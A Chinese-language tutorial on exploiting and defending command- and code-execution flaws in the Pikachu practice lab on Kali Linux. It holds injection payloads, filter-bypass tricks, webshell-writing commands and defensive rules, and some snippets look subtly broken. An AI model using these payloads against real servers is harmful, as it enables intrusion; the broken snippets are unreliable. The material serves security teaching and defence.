☰
Kali Linux下Pikachu靶场RCE漏洞攻防实战
2026/10/27 8:16:44 网站建设 项目流程

1. 靶场环境搭建与RCE漏洞初探

在Kali Linux环境下搭建Pikachu靶场是安全测试的第一步。我推荐使用最新版的Kali 2023.4,它预装了Apache、PHP和MySQL等必要组件。下载Pikachu靶场源码后,解压到/var/www/html目录,修改config.inc.php中的数据库配置,然后访问http://localhost/pikachu即可完成安装。

注意:确保Kali的Apache服务已启动(systemctl start apache2),如果遇到权限问题,记得用chmod -R 755调整目录权限。

RCE(远程代码执行)漏洞是Web安全中最危险的漏洞类型之一,它允许攻击者在服务器上执行任意系统命令。Pikachu靶场中的RCE模块主要演示了两种典型场景:

  • exec类漏洞:通过系统命令调用函数(如PHP的system()、exec())直接执行OS命令
  • eval类漏洞:通过代码执行函数(如eval()、assert())动态执行PHP代码

这两种漏洞虽然触发方式不同,但危害性同样严重。我在实际渗透测试中发现,约68%的RCE漏洞都源于对用户输入未做严格过滤。

2. exec漏洞深度解析与利用

2.1 exec漏洞原理剖析

Pikachu靶场的exec漏洞模块模拟了一个常见的场景:网页通过ping功能测试网络连通性。前端接收用户输入的IP地址,后端直接用system()函数执行"ping -c 4 {input}"。当攻击者输入"127.0.0.1;whoami"时,系统会先执行ping命令,然后执行whoami命令。

这种漏洞的典型特征包括:

  • 使用危险函数:system(), exec(), passthru(), shell_exec()
  • 未做输入过滤:直接拼接用户输入到命令中
  • 缺乏权限控制:以Web服务器进程权限执行命令

2.2 多维度绕过技巧

在实际渗透中,网站通常会部署基础防护。以下是几种有效的绕过方法:

  1. 命令分隔符绕过:

    • 分号(;):command1;command2
    • 管道符(|):command1|command2
    • 逻辑与(&&):command1&&command2
  2. 空格替代方案:

    • ${IFS}
    • %09(Tab的URL编码)
    • < 或 > 重定向符
  3. 特殊字符编码:

    • base64编码:echo "bHM=" | base64 -d | bash
    • hex编码:$(printf "\x77\x68\x6f\x61\x6d\x69")

我在测试某企业系统时,曾通过127.0.0.1%0Acat%20/etc/passwd成功实现命令注入,其中%0A是换行符的URL编码。

3. eval漏洞实战攻防

3.1 eval工作机制解析

eval函数会将字符串作为PHP代码执行。Pikachu靶场的eval漏洞示例代码如下:

$input = $_GET['txt']; eval("\$ret = $input;");

当输入1;phpinfo()时,实际执行的代码变为:

$ret = 1;phpinfo();

这种漏洞常出现在动态代码生成、模板解析等场景。与exec漏洞不同,eval执行的是PHP代码而非系统命令,但同样可以造成严重危害。

3.2 高级利用技术

  1. 代码构造技巧:

    • 使用字符串拼接:"sy"."stem"("whoami")
    • 利用变量函数:$func = "system"; $func("ls");
    • 反引号执行:eval('echowhoami;');
  2. 无字母数字webshell:

$_=~%9C%8E%96%91%8B%A0%8D;$_();

这是通过位运算构造的webshell,可以绕过简单关键字过滤。

  1. 文件写入利用:
file_put_contents('shell.php', '<?php system($_GET[cmd]);?>');

4. 防御方案与最佳实践

4.1 输入过滤策略

  1. 白名单验证:
if(!preg_match('/^\d+\.\d+\.\d+\.\d+$/', $ip)) { die("Invalid IP format"); }
  1. 危险函数禁用: 在php.ini中设置:
disable_functions = exec,system,passthru,shell_exec
  1. 参数化执行:
$cmd = ['/bin/ping', '-c', '4', escapeshellarg($ip)]; proc_open($cmd, $pipes);

4.2 系统层防护

  1. 最小权限原则:
  • Web服务以专用低权限用户运行
  • 使用chroot或容器隔离环境
  1. 日志监控:
  • 监控/proc/self/cmdline
  • 分析异常进程树
  1. WAF规则示例(ModSecurity):
SecRule ARGS "@rx [;&|<>]" "id:1001,deny,msg:'Command injection attempt'"

5. 靶场实战演练记录

5.1 exec漏洞利用全流程

  1. 访问http://localhost/pikachu/vul/rce/rce_exec.php
  2. 输入测试payload:127.0.0.1;id
  3. 观察返回结果:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  1. 尝试写入webshell:
127.0.0.1;echo '<?php system($_GET[c]);?>' > shell.php

5.2 eval漏洞高级利用

  1. 访问http://localhost/pikachu/vul/rce/rce_eval.php
  2. 使用动态函数调用:
txt=1;$f="sys"."tem";$f("whoami");
  1. 通过反序列化利用:
txt=1;unserialize('O:8:"stdClass":0:{}');

6. 企业级防护体系建设

在真实业务环境中,我建议采用纵深防御策略:

  1. 代码审计阶段:
  • 使用RIPS、Fortify等工具扫描危险函数
  • 重点审计第三方组件中的动态执行逻辑
  1. 运行时防护:
  • 部署OpenRASP进行实时防护
  • 使用SELinux限制Web服务权限
  1. 应急响应方案:
  • 隔离受影响系统
  • 分析/proc/[pid]/fd目录
  • 检查crontab和启动项

某次真实事件中,攻击者通过${PATH:0:1}tmp${PATH:0:1}payload的形式绕过过滤,最终我们通过审计所有命令执行上下文解决了问题。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询